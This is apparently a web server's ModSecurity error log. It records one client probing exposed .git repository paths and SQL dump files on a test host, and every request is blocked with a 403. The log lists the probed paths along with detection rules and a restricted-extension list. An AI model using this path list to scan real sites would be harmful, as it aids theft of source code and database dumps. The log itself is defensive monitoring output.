[Sun Mar 22 01:06:09.435052 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/backup&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME9gAAAAg&quot;]
[Sun Mar 22 01:06:09.435193 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/backup&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME9gAAAAg&quot;]
[Sun Mar 22 01:06:09.457173 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/db.sql&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME9wAAAAg&quot;]
[Sun Mar 22 01:06:09.457396 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/db.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/db.sql&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME9wAAAAg&quot;]
[Sun Mar 22 01:06:09.457575 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/db.sql&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME9wAAAAg&quot;]
[Sun Mar 22 01:06:09.457721 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/db.sql&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME9wAAAAg&quot;]
[Sun Mar 22 01:06:09.480478 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/dump.sql&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME-AAAAAg&quot;]
[Sun Mar 22 01:06:09.480708 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/dump.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/dump.sql&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME-AAAAAg&quot;]
[Sun Mar 22 01:06:09.480890 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/dump.sql&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME-AAAAAg&quot;]
[Sun Mar 22 01:06:09.481026 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/dump.sql&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME-AAAAAg&quot;]
[Sun Mar 22 01:06:09.503551 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/execute.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/execute.php&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME-QAAAAg&quot;]
[Sun Mar 22 01:06:09.503744 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/execute.php&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME-QAAAAg&quot;]
[Sun Mar 22 01:06:09.503885 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/execute.php&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME-QAAAAg&quot;]
[Sun Mar 22 01:06:09.526034 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-push&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-push&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME-gAAAAg&quot;]
[Sun Mar 22 01:06:09.526228 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-push&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME-gAAAAg&quot;]
[Sun Mar 22 01:06:09.526390 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-push&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME-gAAAAg&quot;]
[Sun Mar 22 01:06:09.548436 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/HEAD&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME-wAAAAg&quot;]
[Sun Mar 22 01:06:09.548618 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/HEAD&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME-wAAAAg&quot;]
[Sun Mar 22 01:06:09.548750 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/HEAD&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME-wAAAAg&quot;]
[Sun Mar 22 01:06:09.570773 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME_AAAAAg&quot;]
[Sun Mar 22 01:06:09.570958 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME_AAAAAg&quot;]
[Sun Mar 22 01:06:09.571087 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME_AAAAAg&quot;]
[Sun Mar 22 01:06:09.593313 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME_QAAAAg&quot;]
[Sun Mar 22 01:06:09.593495 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME_QAAAAg&quot;]
[Sun Mar 22 01:06:09.593630 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME_QAAAAg&quot;]
[Sun Mar 22 01:06:09.615634 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME_gAAAAg&quot;]
[Sun Mar 22 01:06:09.615817 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME_gAAAAg&quot;]
[Sun Mar 22 01:06:09.615947 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME_gAAAAg&quot;]
[Sun Mar 22 01:06:09.638063 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME_wAAAAg&quot;]
[Sun Mar 22 01:06:09.638256 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME_wAAAAg&quot;]
[Sun Mar 22 01:06:09.638425 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME_wAAAAg&quot;]
